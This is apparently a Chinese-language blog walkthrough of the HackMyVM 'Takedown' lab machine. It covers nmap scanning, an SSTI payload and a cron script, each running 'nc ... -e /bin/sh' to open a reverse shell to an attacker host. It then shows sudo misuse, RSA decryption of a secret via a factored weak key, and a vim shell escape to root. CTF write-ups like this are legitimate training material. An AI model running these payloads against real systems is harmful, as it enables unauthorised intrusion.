跳过正文

HackMyVM-Takedown

·279 字·2 分钟
Hackmyvm Hackmyvm Linux SSTI RSA
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Nmap
#

[root@Hacking] /home/kali/Takedown  
❯ nmap 192.168.55.138 -A -p- 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:fb:66:e0:d2:b6:ae:16:a9:d2:74:41:a5:b3:02:2b (RSA)
|   256 93:a0:01:6c:42:cd:26:bf:38:e5:70:fb:b8:c6:b3:fe (ECDSA)
|_  256 77:c9:ed:41:a5:cb:30:33:08:22:88:f6:a8:28:11:8d (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Cybersecurity Inc - Secure Your Digital World
|_http-server-header: nginx/1.18.0

添加shieldweb.che和ticket.shieldweb.che到/etc/passwd

SSTI
#

进入到ticket.shieldweb.che,发现存在SSTI漏洞

{{lipsum.__globals__.__getitem__('os').popen('nc 192.168.55.4 4444 -e /bin/sh').read()}}

可以收到反弹shell,不过当前是docker环境

来到/var/log目录查看到留言和日志
最后一行中存在/home/love/script/的定时任务,运行linpeas发现似乎/script就是挂载的目录
写入一个反弹shell,等待五分执行

/script # ls -al
total 8
drwxr-xr-x    2 root     root            60 Jul 31 06:34 .
drwxr-xr-x   21 root     root          4096 Jul 30 13:50 ..
-rwxr-xr-x    1 root     root            32 Jul 31 06:34 a.sh
/script # cat a.sh 
nc 192.168.55.4 4444 -e /bin/sh

可以获取到love用户

Own mitnick
#

查看sudo

love@osiris:~$ sudo -l
Matching Defaults entries for love on osiris:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User love may run the following commands on osiris:
    (mitnick) NOPASSWD: /home/mitnick/sas

发现似乎可以通过命令run运行一个文件

可以再写一个反弹shell

Own tomu
#

发现有一个公钥以及被加密的文件,猜测应该是需要破解出原文才能进行下一步

mitnick@osiris:~$ cat publickey.pub 
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMov+hb0LOJW4z6w03Tv8yNswYDXkEMj
DJE46jQH3sERAgMBAAE=
-----END PUBLIC KEY-----

由于密钥很短,先获取一下n和e

[root@Hacking] /home/kali/Takedown  
 cat a.py                                                                                                                                    
from Crypto.PublicKey import RSA

key = RSA.importKey(open('publickey.pub', 'r').read())
print(f'n = {key.n}')
print(f'e = {key.e}')

[root@Hacking] /home/kali/Takedown  
 python a.py                                                                                         
n = 91451963281284582263822096491513116919368195592939782118118773662653066690833
e = 65537

通过查表法进行分解p和q

然后进行解密即可

from Crypto.PublicKey import RSA
from libnum import *

# 读取公钥
key = RSA.importKey(open('publickey.pub', 'r').read())
n = key.n
e = key.e

# 从 FactorDB 得到的质因数
p = 272799705830086927219936172916283678397
q = 335234831001780341003153415948249295589

# 计算私钥 d
d = invmod(e, (p - 1) * (q - 1))

# 读取密文并解密
c = s2n(open('secret.enc', 'rb').read())
m = pow(c, d, n)

# 输出明文
print(n2s(m))

# b'\x02\x8fx~\x04\xdc;\x19\xbd\x99\x10\x96\x00sh1m0mur4Bl4ckh4t\n'

切换用户拿到user.txt

Root
#

查看sudo

tomu@osiris:~$ sudo -l
[sudo] password for tomu: 
Matching Defaults entries for tomu on osiris:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tomu may run the following commands on osiris:
    (root) /opt/Contempt/Contempt

运行选择第二个

直接进入到一个vim界面,输入:sh即可

Reply by Email